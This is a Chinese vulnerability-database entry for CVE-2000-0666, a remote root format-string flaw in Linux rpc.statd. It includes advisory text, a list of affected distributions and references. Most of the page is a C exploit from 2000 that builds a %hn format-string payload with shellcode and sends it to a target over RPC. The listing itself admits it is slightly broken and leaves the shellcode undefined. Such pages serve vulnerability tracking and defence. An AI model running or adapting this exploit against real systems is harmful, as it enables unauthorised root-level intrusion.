Linux rpc.statd远程格式串溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105920 漏洞类型 输入验证
发布时间 2000-07-16 更新时间 2007-11-15
CVE编号 CVE-2000-0666 CNNVD-ID CNNVD-200007-039
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/20075
https://www.securityfocus.com/bid/1480
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-039
|漏洞详情
rpc.statd是一种用于监视并控制NFS的RPC守护进程,广泛运行于种Unix/Linux类操作系统上,程序使用NSM(NetworkStatusMonitor)协议。某些Linux系统所带的nfs-utils软件包中的rpc.statd程序存在一个格式串溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击在主机上以root用户的权限执行任意指令。通过设置特殊的格式化字符串,并在某个buffer中提供可执行代码,可能允许远程攻击者覆盖rpc.statd堆栈中的某个返回地址,远程执行任意命令是可能的。由于rpc.statd通常是以root身份运行,而且没有丢弃root权限,因此溢出代码会以root身份执行。Debian、RedHat、Connectiva和MandrakeLinux已经发布了安全公告并提供了安全补丁。其他运行rpc.statd的Linux也存在这个问题。幸运的是,默认情况下很多Linux并没有启动rpc.statd服务。
|漏洞EXP
source: http://www.securityfocus.com/bid/1480/info

A vulnerability exists in the 'rpc.statd' program, which is part of the 'nfs-utils' package that is shipped with a number of popular Linux distributions. Because of a format-string vulnerability when calling the 'syslog()' function, a remote attacker can execute code as root. 

The 'rpc.statd' server is an RPC server that implements the Network Status and Monitor RPC protocol. It's a component of the Network File System (NFS) architecture. 

The logging code in 'rpc.statd' uses the 'syslog()' function, passing it as the format string user-supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code. 
The 'rpc.statd' server requires root privileges for opening its network socket, but fails to drop these privileges later on. Therefore, code run by the malicious user will execute with root privileges. 

Debian, Red Hat, and Connectiva have all released advisories. Presumably, any Linux distribution that runs the statd process is vulnerable unless patched for the problem.

/*
 * Slightly dysfunctional rpc.statd exploit
 *  for all the dysfunctional script kiddies out there
 *
 * Author: drow, 07/2000
 *
 * And just for kicks...
 * Greets:
 *  Chris Evans, whose fault all this is
 *  whoever wrote the old solaris statd exploit I ripped the RPC code out of
 *  <james> send out greetz to all the 1337 D3B14N H4X0R2!!!!
 *  and THEM (THEY know who THEY are)
 *
 *
 * This is dedicated to Joel Klecker.  Those who knew him know why.
 *
 */

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

void usage(char *s) {
  printf("Usage: %s host [-nopoke]\n", s);
  exit(0);
}

extern char shell[];

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=strlen(nop), nopoke=0;
  char *ptr=code, *p2, code[4096];

  if (argc < 2)
    usage(argv[0]);
  if (argc > 2)
    nopoke = 1;

  /* Alignment */
  strcpy(ptr, "AAA");
  ptr += strlen(ptr);
  
  /* Target to write to! */
  *(unsigned long *)(ptr) = 0x7fffeb04;
  ptr += sizeof(unsigned long);
  
  /* pad */
  *(unsigned long *)(ptr) = 0x11111111;
  ptr += sizeof(unsigned long);

  /* Target Two (two higher in memory probably) */
  *(unsigned long *)(ptr) = 0x7fffeb06;
  ptr += sizeof(unsigned long);
  
  for(i = 0; i < 46-1; i++) {
    strcpy(ptr, "%12d");
    ptr += strlen(ptr);
  }

if(!nopoke) {
  /* Value to write - amount written */
  /* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */
  /* Don't correct for IP address!  Forced to localhost by stat code - same length. */
#define HIGH 0x7fff
#define LOW 0xeecc
  sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
  	  - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
  ptr += strlen(ptr);

  sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
  ptr += strlen(ptr);

  /* CODE */
  p2 = shell;
  while(*p2)
    *(ptr++) = *(p2++);
}
  *(ptr++) = 0;

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name="localhost";
  monreq.mon_id.my_id.my_prog=0;
  monreq.mon_id.my_id.my_vers=0;
  monreq.mon_id.my_id.my_proc=0;
  monreq.mon_id.mon_name= code  /*code*/;

  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd=RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}
|受影响的产品
Trustix Trustix Secure Linux 1.1 Trustix Trustix Secure Linux 1.0 SuSE Linux 7.0 SuSE Linux 6.4 ppc SuSE Linux 6.4 alpha SuSE Linux 6.4 SuSE Linux 6.3 ppc
|参考资料

来源:CERT/CCAdvisory:CA-2000-17
名称:CA-2000-17
链接:http://www.cert.org/advisories/CA-2000-17.html
来源:XF
名称:linux-rpcstatd-format-overwrite
链接:http://xforce.iss.net/static/4939.php
来源:BID
名称:1480
链接:http://www.securityfocus.com/bid/1480
来源:BUGTRAQ
名称:20000716Lotsandlotsoffunwithrpc.statd
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0206.html
来源:REDHAT
名称:RHSA-2000:043
链接:http://www.redhat.com/support/errata/RHSA-2000-043.html
来源:CALDERA
名称:CSSA-2000-025.0
链接:http://www.calderasystems.com/support/security/advisories/CSSA-2000-025.0.txt
来源:BUGTRAQ
名称:20000718[SecurityAnnounce]MDKSA-2000:021nfs-utilsupdate
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0260.html
来源:BUGTRAQ
名称:20000718TrustixSecurityAdvisory-nfs-utils
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0236.html
来源:BUGTRAQ
名称:20000717CONECTIVALINUXSECURITYANNOUNCEMENT-nfs-utils
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0230.html
来源:NSFOCUS
名称:692
链接:http://www.nsfocus.net/vulndb/69